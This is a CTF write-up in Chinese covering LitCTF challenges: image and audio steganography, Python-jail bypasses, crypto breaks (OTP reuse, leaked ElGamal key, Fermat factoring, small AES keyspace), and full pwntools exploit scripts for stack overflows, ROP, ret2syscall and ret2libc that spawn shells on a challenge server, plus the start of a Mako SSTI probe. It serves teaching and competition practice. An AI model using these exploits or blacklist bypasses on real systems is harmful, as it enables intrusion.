Misc
lit_lsb_base64
Challenge
组委会发来一张花花绿绿的 PNG,标题里写着三个字母:LSB。这和「崂山煲」可没关系——它指的是 最低有效位(Least Significant Bit) 隐写。
Solution
用 zsteg 分析

解 base64

FLAG
LitCTF{lsb_1s_fun_w1th_b4s3_64}lit_rush_qr
Challenge
附件里有一个「闪得很快」的 GIF。有人说自己好像瞥见了 二维码 的一角,但怎么也扫不出来……
Solution
先动图分解帧拿到残缺的二维码

然后补全两个定位角

最后扫码即可
FLAG
LitCTF{qr_h1gh_3rr_c0r_r3c0v3ry}lit_sstv
Challenge
你收到一段奇怪的 WAV:听起来像老式调制解调器或短波噪声。它其实不是「坏掉的音频」,而是一种把 图片编码进声音 的协议——SSTV(慢扫描电视)。
Solution
SSTV,找了个在线网站解 Online SSTV Decoder - Decode Slow Scan Television Audio to Images

FLAG
LitCTF{sstv_p4t13nc3}lit_welcome
Challenge
组委会给你发了一张「欢迎」图片,说 flag 就在图里——可你一眼望去好像只有几行普普通通的欢迎语?
Solution
LSB隐写,用 StegSolve 打开图片后在 Red Plane 0 发现 flag

FLAG
LitCTF{w3lc0m3_t0_m1sc_w0rld}lit_pyjail_reader
Challenge
ez_jail
#!/usr/bin/env python3"""LitCTF — 入门 Pyjail:验证码 + 按指引两次只读文件(无 RCE)。""" import secretsimport socketimport stringimport threading HOST = "0.0.0.0"PORT = 9999MAX_QUEUED = 64MAX_LINE = 512MAX_FILE = 4096 def recv_line(conn: socket.socket) -> str: data = bytearray() while len(data) < MAX_LINE: chunk = conn.recv(1) if not chunk: break if chunk == b"\n": break data += chunk return data.decode("utf-8", errors="replace").strip() def safe_read(path: str) -> str: p = path.strip() if not p or p.startswith("-") or "\x00" in p: raise ValueError("invalid path") with open(p, "r", errors="replace") as f: return f.read(MAX_FILE) def handle(conn: socket.socket) -> None: try: conn.settimeout(120) alphabet = string.ascii_uppercase challenge = "".join(secrets.choice(alphabet) for _ in range(8)) conn.sendall( f"Please enter the reverse of '{challenge}' to continue: ".encode() ) ans = recv_line(conn) if ans != challenge[::-1]: conn.sendall(b"Wrong reverse string. Bye.\n") return conn.sendall( b"Good.\n" b"Step 1: read /app/where_is_flag.txt (it contains the flag path).\n" b"Step 2: read that path.\n" b"File path (1/2): " ) p1 = recv_line(conn) try: c1 = safe_read(p1) except Exception as e: conn.sendall(f"Error: {e}\n".encode(errors="replace")) return conn.sendall(b"--- begin ---\n") conn.sendall(c1.encode(errors="replace")) conn.sendall(b"\n--- end ---\nFile path (2/2): ") p2 = recv_line(conn) try: c2 = safe_read(p2) except Exception as e: conn.sendall(f"Error: {e}\n".encode(errors="replace")) return conn.sendall(c2.encode(errors="replace")) conn.sendall(b"\n") finally: conn.close() def main() -> None: srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM) srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) srv.bind((HOST, PORT)) srv.listen(MAX_QUEUED) while True: client, _ = srv.accept() threading.Thread(target=handle, args=(client,), daemon=True).start() if __name__ == "__main__": main()Solution
和 pyjail 好像没多大关系,这题甚至不需要看题,这题 nc 连上之后照做就输出 flag 了
第一步是将提供的字符串反转后输入
第二步输入 /app/where_is_flag.txt 获取 flag 的位置
第三步输入刚刚获取到的 flag 的位置就拿到 flag 了

FLAG
flag{gklntftv-iqga-4bn-8xmq-c1wd3r5u3xb3f}lit_pyjail_unicode
Challenge
ezjail_2
#!/usr/bin/env python3"""LitCTF — Unicode 标识符绕过:过滤检查原始源码字符串,解释器仍接受全角等价标识符。""" import reimport socketimport threading HOST = "0.0.0.0"PORT = 9999MAX_QUEUED = 64MAX_LINE = 240 # 仅检查「你键入的文本」:ASCII 关键字用词边界,避免匹配到 important 等BANNED = re.compile( r"\bimport\b|\bexec\b|\beval\b|\bopen\b|\bcompile\b|\bglobals\b|\blocals\b|__|" r"\bgetattr\b|\bsetattr\b|\bdelattr\b|\bvars\b|\bbreakpoint\b|\binput\b|" r"\bsubprocess\b|\bpty\b|os\.|sys\.|\bposix\b", re.IGNORECASE,) def banned(raw: str) -> bool: if "\\u" in raw or "\\U" in raw or "\\x" in raw: return True return BANNED.search(raw) is not None def handle(conn: socket.socket) -> None: try: conn.settimeout(60) conn.sendall( b"=== LitCTF pyjail unicode ===\n" b"Send ONE line of Python. It will be eval() with full __builtins__.\n" b"ASCII blacklist applies to your *source text* (see attachment jail.py).\n" b"Goal: read /flag and get its str content.\n> " ) raw = bytearray() while len(raw) < MAX_LINE: ch = conn.recv(1) if not ch: break if ch == b"\n": break raw += ch line = raw.decode("utf-8", errors="replace").strip() if not line: conn.sendall(b"empty\n") return if banned(line): conn.sendall(b"disallowed pattern in source\n") return try: out = eval(line, {"__builtins__": __builtins__}) conn.sendall(repr(out).encode(errors="replace") + b"\n") except Exception as e: conn.sendall(f"{type(e).__name__}: {e}\n".encode(errors="replace")) finally: conn.close() def main() -> None: srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM) srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) srv.bind((HOST, PORT)) srv.listen(MAX_QUEUED) while True: c, _ = srv.accept() threading.Thread(target=handle, args=(c,), daemon=True).start() if __name__ == "__main__": main()Solution
Unicode 标识符绕过,核心思路是:黑名单正则只检查原始源码文本,而 Python 在解析标识符时会做 NFKC 规范化,全角英文字母会被规范化为半角 ASCII,因此使用全角字符拼出被禁的关键字即可。
先看看黑名单:
BANNED = re.compile( r"\bimport\b|\bexec\b|\beval\b|\bopen\b|\bcompile\b|\bglobals\b|\blocals\b|__|" r"\bgetattr\b|\bsetattr\b|\bdelattr\b|\bvars\b|\bbreakpoint\b|\binput\b|" r"\bsubprocess\b|\bpty\b|os\.|sys\.|\bposix\b", re.IGNORECASE,)把 open 写成全角形式 open(U+FF4F, U+FF50, U+FF45, U+FF4E)直接读 flag 就好了,payload:
open('/flag').read()
FLAG
flag{snaixx1k-rcxk-4zu-8w4x-059oj7216m1va}Crypto
lit_xor_two_story
Challenge
某同学用 同一串随机密钥流
k对两条长度均为 40 字节的明文做异或「流密码」加密,却忘记了一次一密的基本要求:密钥绝不能复用。
#!/usr/bin/env python3"""LitCTF2026 — One-time pad reused for two messages (40 bytes each). Players receive output.txt and README; they do not receive secret.py."""from __future__ import annotations import argparseimport osfrom pathlib import Path try: from secret import M1_FLAGexcept ImportError: raise SystemExit( "secret.py (organizer) is required to generate ciphertext; " "players work from output.txt only." ) # Public second message — duplicated in README for contestants.M2_KNOWN = b"litctf2026_xor_keystream_reuse_40bytes!!" assert len(M1_FLAG) == len(M2_KNOWN) == 40 def xor_bytes(a: bytes, b: bytes) -> bytes: return bytes(x ^ y for x, y in zip(a, b)) def main() -> None: parser = argparse.ArgumentParser() parser.add_argument( "--write", type=Path, help="Write hex lines to file.", ) args = parser.parse_args() n = len(M1_FLAG) k = os.urandom(n) c1 = xor_bytes(M1_FLAG, k) c2 = xor_bytes(M2_KNOWN, k) lines = [ f"c1 = {c1.hex()}", f"c2 = {c2.hex()}", f"len = {n}", ] text = "\n".join(lines) + "\n" print(text, end="") if args.write: args.write.write_text(text, encoding="utf-8") if __name__ == "__main__": main() # c1 = 5f70a847ce12759e156e3cad1aa9530a119386a02ffc1c31bf14ab7a0a82ccc108f8476f75c98a28# c2 = 5f70a847ce123cc153283ca710ae7f042b8490a238eb2228970fad6a2694f2985dc5557e69e5f474# len = 40Solution
一次一密,但是密钥 k 被重复使用
如果同一个密钥
那么将两个密文异或:
因此如果已知其中一条明文(这题是已知
解题脚本:
c1 = bytes.fromhex("5f70a847ce12759e156e3cad1aa9530a119386a02ffc1c31bf14ab7a0a82ccc108f8476f75c98a28")c2 = bytes.fromhex("5f70a847ce123cc153283ca710ae7f042b8490a238eb2228970fad6a2694f2985dc5557e69e5f474") M2_KNOWN = b"litctf2026_xor_keystream_reuse_40bytes!!" xor_c1c2 = bytes(a ^ b for a, b in zip(c1, c2)) flag = bytes(a ^ b for a, b in zip(xor_c1c2, M2_KNOWN))print(flag.decode())FLAG
litctf{otp_reuse_never_twice_same_key__}lit_elgamal_handshake
Challenge
服务端打印了 ElGamal 私钥 x,这是一次典型的「调试产物泄露」。
#!/usr/bin/env python3"""LitCTF2026 — ElGamal handshake (story)Someone left debug logging on; the private exponent x was printed alongside ciphertext."""from __future__ import annotations import argparsefrom pathlib import Pathfrom random import randrange from Crypto.Util.number import bytes_to_long, getPrime, getRandomRange try: from secret import FLAGexcept ImportError as e: raise SystemExit("secret.py (FLAG) is required to encrypt.") from e def generate_elgamal_keypair(bits: int = 512) -> tuple[int, int, int, int]: p = getPrime(bits) for _ in range(1000): g = getRandomRange(2, min(6, p - 1)) if pow(g, (p - 1) // 2, p) != 1: break else: raise RuntimeError("could not find suitable g") x = randrange(2, p - 1) y = pow(g, x, p) return p, g, y, x def main() -> None: parser = argparse.ArgumentParser() parser.add_argument( "--write", type=Path, help="Write captured output to this file (for organizers).", ) args = parser.parse_args() p, g, y, x = generate_elgamal_keypair(bits=512) k = randrange(1, p - 2) m = bytes_to_long(FLAG) if m >= p: raise ValueError("flag too large for chosen p — shorten FLAG") c1 = pow(g, k, p) c2 = (m * pow(y, k, p)) % p lines = [ "=== Public key (p, g, y) ===", f"p = {p}", f"g = {g}", f"y = {y}", "", "=== Ciphertext (c1, c2) ===", f"c1 = {c1}", f"c2 = {c2}", "", "# [DEBUG] prod accidentally logged the long-term secret:", f"x = {x}", ] text = "\n".join(lines) + "\n" print(text, end="") if args.write: args.write.write_text(text, encoding="utf-8") if __name__ == "__main__": main() # === Public key (p, g, y) ===# p = 9000784855376359808051354825193962042770028561343848432778443672755982397391267124312572697249531643069409873722736348916207732622884411596948807031140651# g = 3# y = 269130883529708333054320571854006406481346665463416017026083074488011546059928157925990665431751017523964760326934454181952822744463714981243407307134357 # === Ciphertext (c1, c2) ===# c1 = 5245857426274383693193378669425243235151460522527004924092730024427525619244222247576829782077334810173274945751493387545849499010408499951268967774043627# c2 = 6059939492718262451327758167005534191200936922719178843825888167191062504030471358635203794720371216217447404436172970111033824674731063386612549785069654 # # [DEBUG] prod accidentally logged the long-term secret:# x = 633366293219022684108628483753423657477324253833657141033762971761747669344649667887002347907882241246119223126492863291886751205505360049793728851371884Solution
ElGamal 在加密过程中泄露了私钥
ElGamal 的解密公式是:
即:
解题脚本:
from Crypto.Util.number import long_to_bytes p = 9000784855376359808051354825193962042770028561343848432778443672755982397391267124312572697249531643069409873722736348916207732622884411596948807031140651g = 3y = 269130883529708333054320571854006406481346665463416017026083074488011546059928157925990665431751017523964760326934454181952822744463714981243407307134357 c1 = 5245857426274383693193378669425243235151460522527004924092730024427525619244222247576829782077334810173274945751493387545849499010408499951268967774043627c2 = 6059939492718262451327758167005534191200936922719178843825888167191062504030471358635203794720371216217447404436172970111033824674731063386612549785069654 x = 633366293219022684108628483753423657477324253833657141033762971761747669344649667887002347907882241246119223126492863291886751205505360049793728851371884 s = pow(c1, x, p)s_inv = pow(s, p - 2, p)m = (c2 * s_inv) % pflag = long_to_bytes(m)print(flag.decode())FLAG
litctf{elgamal_leak_makes_happy_decrypt}lit_rsa_neighbor
Challenge
密钥生成脚本选了一个随机素数 p,然后对 p 连续调用多次「下一个素数」,得到 q,再令 (n=pq)。直觉上 (p) 与 (q) 仍然相差不大——这会让 费马分解 在普通笔记本上也可行。
#!/usr/bin/env python3"""LitCTF2026 — RSA where q is 'far' along the prime line but still close enough to p for Fermat."""from __future__ import annotations import argparsefrom pathlib import Path import gmpy2from Crypto.Util.number import bytes_to_long, getPrime try: from secret import FLAG, NEXT_PRIME_STEPSexcept ImportError as e: raise SystemExit( "secret.py is required to generate output (FLAG, NEXT_PRIME_STEPS)." ) from e E = 65537 def main() -> None: parser = argparse.ArgumentParser() parser.add_argument( "--write", type=Path, help="Write n, c to this file.", ) args = parser.parse_args() p = getPrime(512) q = p for _ in range(NEXT_PRIME_STEPS): q = int(gmpy2.next_prime(q)) n = p * q m = bytes_to_long(FLAG) if m >= n: raise ValueError("flag too large for n") c = pow(m, E, n) lines_players = [f"{n = }", f"{c = }", f"e = {E}"] text = "\n".join(lines_players) + "\n" print(text, end="") if args.write: args.write.write_text(text, encoding="utf-8") if __name__ == "__main__": main() # n = 139637440016232025690294457609899605991056011052010466558411851317943636600860419882966079629826706361935550982744312593243181819999590825159611186779613601241742349986440676188542381451066058816661317621009248513651083772907520139375108426466691332559612971244160246310746215067136490772061317571744230078911# c = 81172369642931859390486697024961350889751244109623802937988620847486863147682579984823958801948701482096140632580173113959531836503723522945335985723867818778699337807630592078265626995722998378992215523352858561923474395550395284015986525513984910021995657780411466237306614109262460764382539311725297619429# e = 65537Solution
p = getPrime(512)q = pfor _ in range(NEXT_PRIME_STEPS): q = int(gmpy2.next_prime(q))这表明:
-
p是一个 512 位的素数。 -
q从p开始,连续取NEXT_PRIME_STEPS次“下一个素数”。
因此 q = next_prime(...(next_prime(p))...),也就是 q 只比 p 大一点点。
当 p 和 q 很接近时,n = p * q 可以用费马分解法快速分解。
如果 n = p * q 且 p 与 q 接近,那么存在整数 a 和 b 使得:
其中:
费马分解法就是从 a = ceil(sqrt(n)) 开始,不断检查 a^2 - n 是否为完全平方数。如果 b^2 = a^2 - n 是完全平方,那么:
解题脚本:
import gmpy2from Crypto.Util.number import long_to_bytes n = 139637440016232025690294457609899605991056011052010466558411851317943636600860419882966079629826706361935550982744312593243181819999590825159611186779613601241742349986440676188542381451066058816661317621009248513651083772907520139375108426466691332559612971244160246310746215067136490772061317571744230078911c = 81172369642931859390486697024961350889751244109623802937988620847486863147682579984823958801948701482096140632580173113959531836503723522945335985723867818778699337807630592078265626995722998378992215523352858561923474395550395284015986525513984910021995657780411466237306614109262460764382539311725297619429e = 65537 # Fermat factorizationa = gmpy2.isqrt(n)if a * a < n: a += 1 while True: b2 = a * a - n b, is_square = gmpy2.iroot(b2, 2) if is_square: p = int(a - b) q = int(a + b) break a += 1 print("p =", p)print("q =", q)assert p * q == n # RSA decryptphi = (p - 1) * (q - 1)d = gmpy2.invert(e, phi)m = pow(c, d, n)flag = long_to_bytes(m)print(flag.decode())FLAG
litctf{rsa_fermat_finds_close_primes}lit_tiny_key_aes
Challenge
运维政策规定 AES-128-ECB 密钥的前 13 个字节固定为可读前缀
LitCTF2026!!!,只有末尾 3 个字节由终端随机生成。密钥空间过小,不适合对抗离线枚举。
#!/usr/bin/env python3"""LitCTF2026 — AES-128-ECB with a mostly fixed key (weak operational policy)."""from __future__ import annotations import argparsefrom pathlib import Path from Crypto.Cipher import AESfrom Crypto.Util.Padding import pad try: from secret import FLAG, UNKNOWN_KEY_SUFFIXexcept ImportError as e: raise SystemExit( "secret.py is required to generate ciphertext (contains FLAG and key suffix)." ) from e KEY_PREFIX = b"LitCTF2026!!!" # 13 bytes; 3 bytes brute-forcedassert len(KEY_PREFIX) + len(UNKNOWN_KEY_SUFFIX) == 16 def encrypt_aes_ecb_pkcs7(plaintext: bytes, key: bytes) -> bytes: cipher = AES.new(key, AES.MODE_ECB) return cipher.encrypt(pad(plaintext, AES.block_size)) def main() -> None: parser = argparse.ArgumentParser() parser.add_argument( "--write", type=Path, help="Write ciphertext hex to this file.", ) args = parser.parse_args() key = KEY_PREFIX + UNKNOWN_KEY_SUFFIX c = encrypt_aes_ecb_pkcs7(FLAG, key) line = f"c = {c!r}\n" print(line, end="") if args.write: args.write.write_text(line, encoding="utf-8") if __name__ == "__main__": main() # c = b"\x0c\xdb'`\xc91\xf7\x05\x91+\x0fM\xed\xbc\x9b\xf1\xd8D\xcd\xfd\x0c\xb9\xb6\xb2J<\x86\x19\x06K\xb3\xa2\xa4\x18\x87<v\xac\x1bbu#\xaa\xb5I\x7f\xd8\xd3"Solution
从代码可以看出密钥前缀 b"LitCTF2026!!!" 是13字节,密钥后缀 UNKNOWN_KEY_SUFFIX 是3字节(因为总密钥长度是16字节),加密模式是 AES-128-ECB,填充方式是 PKCS#7
直接暴力破解3字节密钥后缀即可
解题脚本:
from Crypto.Cipher import AESfrom Crypto.Util.Padding import unpadimport itertools c = b"\x0c\xdb'`\xc91\xf7\x05\x91+\x0fM\xed\xbc\x9b\xf1\xd8D\xcd\xfd\x0c\xb9\xb6\xb2J<\x86\x19\x06K\xb3\xa2\xa4\x18\x87<v\xac\x1bbu#\xaa\xb5I\x7f\xd8\xd3" KEY_PREFIX = b"LitCTF2026!!!" def try_decrypt(key_suffix): key = KEY_PREFIX + key_suffix cipher = AES.new(key, AES.MODE_ECB) try: plaintext = unpad(cipher.decrypt(c), AES.block_size) if all(32 <= b <= 126 or b == 10 for b in plaintext): return plaintext except: pass return None for i, key_suffix in enumerate(itertools.product(range(256), repeat=3)): key_suffix = bytes(key_suffix) result = try_decrypt(key_suffix) if result: print(f"密钥后缀: {key_suffix.hex()}") print(f"{result.decode()}") breakFLAG
litctf{aes_tiny_brut3_for_the_win!}Pwn
lit_ret2text32
Challenge
欢迎来到 Pwn 的世界!这是一道最基础的32位栈溢出题目。
程序里藏着一扇后门,只要你能让程序”走错一步”,它就会为你打开 shell 之门。
Solution
直接看源码 main.c,结构非常清晰:vuln() 里声明了 48 字节的 buf,但 read(0, buf, 0x200) 能写 0x200 字节,典型的栈溢出。同时 backdoor() 函数里直接调了 system("/bin/sh"),目标很明确——覆盖返回地址跳到 backdoor。
查一下二进制属性和 backdoor 地址:
$ file ret2text32ret2text32: ELF 32-bit LSB executable, Intel i386, ..., not stripped $ objdump -d ret2text32 | grep '<backdoor>'08049213 <backdoor>:无 PIE,无 canary,backdoor 地址固定为 0x08049213。
接下来确认偏移。反汇编 vuln:
$ objdump -d ret2text32 | grep -A30 '<vuln>' 804927c: 8d 45 c8 lea -0x38(%ebp),%eax ; buf 起始地址 804927f: 50 push %eax 8049280: 6a 00 push $0x0 8049282: e8 c9 fd ff ff call 8049050 <read@plt>buf 位于 ebp - 0x38,即距 ebp 56 字节。加上 ebp 上方 4 字节的 saved ebp,到返回地址的偏移为 0x38 + 4 = 60 字节。
构建 payload:60 个填充字符 + backdoor 地址(小端序)。exp 如下:
from pwn import * context.arch = 'i386' backdoor = 0x08049213offset = 0x38 + 4 r = remote('challenge.cyclens.tech', 31169) payload = flat([ b'A' * offset, p32(backdoor),]) r.recvuntil(b'Input: ')r.sendline(payload)r.sendline(b'cat flag')r.interactive()运行后得到 shell,cat flag 直接读出 flag。
FLAG
flag{sx6medj5-rhra-4ue-83mn-ad7enob3e5pqq}lit_ret2shellcode
Challenge
这是一个古老的工坊,工匠们在这里直接在栈上刻写代码。
传说栈上的墨迹还未干涸,代码就能直接运行。
你能在这块可执行的栈上写下属于你的咒语,并让它执行吗?
Solution
看源码,vuln() 里有个 100 字节的 buf,但 read(0, buf, 0x200) 能读 0x200 字节,栈溢出。关键信息:程序会打印 buf 的地址,而且题目名是 ret2shellcode,暗示栈可执行。
用 readelf 确认栈权限:
$ readelf -l ret2shellcode | grep GNU_STACK GNU_STACK 0x0 ... RWE 0x10栈有 RWE 权限,可以直接放 shellcode。
反汇编看 vuln 确认偏移:
$ objdump -d ret2shellcode | grep -A30 '<vuln>' 4011ce: 48 8d 45 90 lea -0x70(%rbp),%rax ; buf 起始 401201: ba 00 02 00 00 mov $0x200,%edx ; 读取 0x200 字节 401206: 48 89 c6 mov %rax,%rsi 401209: bf 00 00 00 00 mov $0x0,%edi 40120e: e8 3d fe ff ff call 401050 <read@plt>buf 在 rbp - 0x70(112 字节),64 位下 saved rbp 占 8 字节,所以到返回地址的偏移是 0x70 + 8 = 120 字节。
攻击思路:读程序泄露的 buf 地址 → 在 buf 位置放 shellcode → 覆盖返回地址为 buf 地址。
from pwn import * context.arch = 'amd64' r = remote('challenge.cyclens.tech', 30872) r.recvuntil(b'buf is at ')buf_addr = int(r.recvuntil(b'\n').strip(), 16) offset = 0x70 + 8shellcode = asm(shellcraft.sh()) payload = flat([ shellcode, b'A' * (offset - len(shellcode)), p64(buf_addr),]) r.recvuntil(b'Leave your mark on the stack: ')r.send(payload)r.sendline(b'cat flag*')r.interactive()跑起来拿到 shell,cat flag* 出 flag。
FLAG
flag{5p1uubjx-t4jp-4oc-80co-korlkzbrnzqun}lit_integer_overflow
Challenge
程序说它会读取你指定长度的数据,但这个长度检查真的安全吗?
当数学的边界被打破,栈上的秘密就将暴露无遗。
听说程序里藏着一个神秘的后门,你能找到它吗?
Solution
看源码,read_data() 里 size 是 int,检查范围 0-63,但 read() 的第三个参数被强转为 unsigned int。传一个负数进去,比如 -1,(unsigned int)-1 就变成了 0xFFFFFFFF,栈溢出随便写。
找后门地址和偏移:
$ objdump -d integer_overflow | grep '<backdoor>'00000000004011d7 <backdoor>: $ objdump -d integer_overflow | grep -A30 '<read_data>' 401262: 48 8d 45 c0 lea -0x40(%rbp),%rax ; buf 起始 40126e: e8 ed fd ff ff call 401060 <read@plt>backdoor 地址 0x4011d7。buf 在 rbp - 0x40,64 位下到返回地址偏移为 0x40 + 8 = 72 字节。
但 x86_64 下 system() 要求 16 字节栈对齐。我们通过溢出 ret 跳到 backdoor(而非正常 call),栈对齐会差 8 字节。找条 ret gadget 垫一下:
$ objdump -d integer_overflow | grep -E 'c3\s+ret' 40101a: c3 retexp 如下:
from pwn import * context.arch = 'amd64' backdoor = 0x4011d7ret = 0x40101aoffset = 0x40 + 8 r = remote('challenge.cyclens.tech', 30192) r.recvuntil(b'(0-63): ')r.sendline(b'-1')r.recvuntil(b"Invalid size! But I'll still read it anyway...\n") payload = flat([ b'A' * offset, p64(ret), # 栈对齐 p64(backdoor),]) r.send(payload)r.sendline(b'cat flag*')r.interactive()FLAG
flag{hecu34wx-qh90-4lg-8xm9-liuqg4mniwiyt}lit_ropchain
Challenge
程序里的碎片散落一地,没有现成的钥匙能打开 shell 之门。
你需要像拼图大师一样,把一个个小小的代码碎片(gadgets)拼接起来,
先读取 “bin/sh” 到内存,再召唤 system 之力。
Solution
看源码,这道题作者直接在里面嵌好了 gadget:pop rdi; ret、pop rsi; ret、pop rdx; ret。栈不可执行,没有现成的后门函数,但 system 和 read 都在 PLT 里,BSS 段还有一个 0x100 字节的 bss_buf。经典的 64 位 ROP:先用 read 把 "/bin/sh" 写入 BSS,再调 system(bss_buf)。
找齐所有地址:
$ objdump -d ropchain | grep -E '<vuln>|<gadget_|<read@plt|<system@plt' 401166 gadget_pop_rdi: pop rdi; ret 40116b gadget_pop_rsi: pop rsi; ret 401170 gadget_pop_rdx: pop rdx; ret 401040 system@plt 401060 read@plt $ readelf -s ropchain | grep bss_buf 403460 bss_buf $ objdump -d ropchain | grep -A10 '<vuln>:' 401210: lea -0x40(%rbp),%rax ; buf at rbp-0x40偏移 0x40 + 8 = 72 字节。ROP 链分两段:第一段调 read(0, bss_buf, 8),收到 "/bin/sh\0" 后自动续上第二段 system(bss_buf)。
from pwn import * pop_rdi = 0x401166pop_rsi = 0x40116bpop_rdx = 0x401170read_plt = 0x401060system_plt = 0x401040bss_buf = 0x403460offset = 0x40 + 8 r = remote('challenge.cyclens.tech', 30589)r.recvuntil(b'Input: ') payload = flat([ b'A' * offset, # read(0, bss_buf, 8) p64(pop_rdi), p64(0), p64(pop_rsi), p64(bss_buf), p64(pop_rdx), p64(8), p64(read_plt), # system(bss_buf) p64(pop_rdi), p64(bss_buf), p64(system_plt),]) r.send(payload)r.send(b'/bin/sh\x00')r.sendline(b'cat flag*')r.interactive()read 返回后栈上正好接上 pop rdi; bss_buf; system,一路顺滑拿到 shell。
FLAG
flag{32pqaimr-4jke-4nj-8igp-ymye2xrusranp}lit_ret2syscall32
Challenge
这是一台32位的古老机器,没有 system(),没有 /bin/sh,连 libc 都沉默不语。
但每一个程序都能向内核祈祷——通过中断门 int 0x80。
你能唤醒这台机器最深层的系统调用之力吗?
Solution
源码里嵌好了全套 gadget:pop eax; ret、pop ebx; ret、pop ecx; pop ebx; ret、pop edx; ret、mov eax,(edx); ret、int 0x80。还有一个可写的 data_buf[0x100]。栈不可执行(RW),典型的 32 位 ret2syscall。
找齐地址和偏移:
$ objdump -d ret2syscall32 | grep '<gadget_'080491a6 gadget_pop_eax: pop %eax; ret080491ab gadget_pop_ebx: pop %ebx; ret080491b0 gadget_pop_ecx_ebx: pop %ecx; pop %ebx; ret080491b6 gadget_pop_edx: pop %edx; ret080491c1 gadget_int_0x80: int $0x80 $ readelf -s ret2syscall32 | grep data_buf0804b3a0 data_buf $ objdump -d ret2syscall32 | grep -A3 '8049249:' 8049249: 8d 45 b8 lea -0x48(%ebp),%eax ; buf at ebp-0x48偏移 = 0x48 + 4 = 76 字节。
思路:先用 read@plt 把 "/bin/sh\0" 读进 data_buf,再布置寄存器通过 int 0x80 调 execve。但 read@plt 走 cdecl 调用约定,返回后栈上残留三个参数(fd、buf、count)。直接用 gadget 挨个弹掉太啰嗦,ROPgadget 搜到一条清理 gadget:
$ ROPgadget --binary ret2syscall32 | grep 'add esp, 8'0x0804901f : add esp, 8 ; pop ebx ; ret一次清掉 12 字节(3 个参数),干净利落。
exp 如下:
from pwn import * context.arch = 'i386' pop_eax = 0x080491a6pop_ecx_ebx = 0x080491b0pop_edx = 0x080491b6int_0x80 = 0x080491c1read_plt = 0x08049050data_buf = 0x0804b3a0cleanup = 0x0804901f # add esp, 8; pop ebx; retoffset = 0x48 + 4 r = remote('challenge.cyclens.tech', 30528)r.recvuntil(b'Input: ') payload = flat([ b'A' * offset, # Part 1: read(0, data_buf, 8) p32(read_plt), p32(cleanup), # read 返回到这里,清掉三个参数 p32(0), # fd p32(data_buf), # buf p32(8), # count # Part 2: execve(data_buf, 0, 0) p32(pop_eax), p32(11), # eax = 11 (execve) p32(pop_edx), p32(0), # edx = 0 p32(pop_ecx_ebx), p32(0), p32(data_buf), # ecx = 0, ebx = data_buf p32(int_0x80), # 触发 syscall]) r.send(payload)r.send(b'/bin/sh\x00')r.sendline(b'cat flag*')r.interactive()FLAG
flag{sdhfeplm-01vn-4ab-8idn-rnuluryqiwn07}lit_ret2libc
Challenge
这个程序里没有后门,但它调用了一些标准库函数。
当你无法直接找到 system() 或 /bin/sh 时,libc 就是你最好的朋友。
你能从程序的”记忆”中读取 libc 的秘密,并借用它的力量打开 shell 吗?
Solution
源码提供了 pop rdi; ret 和 xor rax, rax; ret 两个 gadget。没有后门,没有 system,没有 /bin/sh。典型的 ret2libc:先泄露 GOT 中 puts 的地址算出 libc 基址,第二轮再调 system("/bin/sh")。
找齐地址和偏移:
$ objdump -d ret2libc | grep -E '<gadget_|<vuln>|<puts@plt' 401030 puts@plt 4011b7 gadget_pop_rdi: pop rdi; ret 4011f0 vuln $ objdump -d ret2libc | grep -A5 'read@plt' 40121b: lea -0x40(%rbp),%rax ; buf at rbp-0x40偏移 = 0x40 + 8 = 72。puts@got = 0x4033d8。
第一轮:用 pop rdi; ret 传 puts@got 给 puts@plt 打印 libc 地址,然后返回到 vuln 再打第二轮。但 64 位下通过 ret 跳转(而非 call)会让栈对齐差 8 字节,vuln 内部调用 printf 时崩溃。在返回到 vuln 前多垫一个 ret gadget 修复对齐。
$ objdump -d ret2libc | grep -E 'c3\s+ret' 40101a: c3 ret第一轮 payload:
[72 bytes padding][pop_rdi] [puts_got] [ret] [puts_plt] [ret] [vuln]拿到 puts 地址后查 libc 版本。泄露两个符号(puts + read)更精确:
$ curl -s 'https://libc.rip/api/find' \ -d '{"symbols":{"puts":"80e50","read":"114850"}}'libc6_2.35-0ubuntu3.13_amd64 puts: 0x80e50 system: 0x50d70 str_bin_sh: 0x1d8678算出 libc_base = leaked_puts - 0x80e50,得到 system 和 /bin/sh 地址,第二轮直接 system("/bin/sh")。
from pwn import * context.arch = 'amd64' pop_rdi = 0x4011b7puts_plt = 0x401030puts_got = 0x4033d8ret = 0x40101avuln = 0x4011f0 off_puts = 0x80e50off_system = 0x50d70off_binsh = 0x1d8678offset = 0x40 + 8 r = remote('challenge.cyclens.tech', 30399)r.recvuntil(b'Tell me your name: ') # Stage 1: leak puts, return to vulnpayload1 = flat([ b'A' * offset, p64(pop_rdi), p64(puts_got), p64(ret), p64(puts_plt), p64(ret), p64(vuln),])r.send(payload1) leak_puts = u64(r.recvline().strip().ljust(8, b'\x00'))libc_base = leak_puts - off_puts # Stage 2: system("/bin/sh")r.recvuntil(b'Tell me your name: ')payload2 = flat([ b'A' * offset, p64(ret), p64(pop_rdi), p64(libc_base + off_binsh), p64(libc_base + off_system),])r.send(payload2)r.sendline(b'cat flag*')r.interactive()FLAG
flag{qoqqil9i-6f3g-4pq-8pyc-igiqocqicr973}Web
lit_ezssti
Challenge
缺什么补什么(x
Solution
先打开首页看了一眼,页面很干净,只有一个 tpl 输入框,表单直接 POST /,下面有一个 回显 区域。这个布局基本已经把方向写明了,就是要往模板里塞东西看服务端怎么渲染。
第一步先做模板指纹识别,直接扔几组最常见的语法进去:
{{7*7}}${7*7}<%= 7*7 %>[[7*7]]回显很有意思:
{{7*7}}原样输出,没有执行。${7*7}直接返回WAF。<%= 7*7 %>返回WAF。[[7*7]]也返回WAF。
这一步至少说明两件事:
- 不是上来就能打的 Jinja2。
- 服务端前面挂了一个比较粗暴的关键字/字符过滤。
然后继续看响应头,能看到 Server: gunicorn,这至少说明后端大概率是 Python 栈。基于这一点,我继续试探更像 Python 模板引擎的语法。
直接单独提交一个 %,结果回显:
[渲染异常] SyntaxException: Invalid control line: '' at line: 1 char: 1这个报错一下子就很像 Mako 了,因为 Mako 的控制行本来就是 % if ...、% for ... 这种形式。为了确认,直接上一个最简单的循环:
% for i in range(3):hi% endfor页面输出了三行 hi,说明判断没错,就是 Mako SSTI,而且 % ... 控制行是能正常执行的。
接着要做的就是摸 WAF 规则。这里不用一下子想 payload,先看哪些字符本身就会触发拦截。测下来最关键的几个点是:
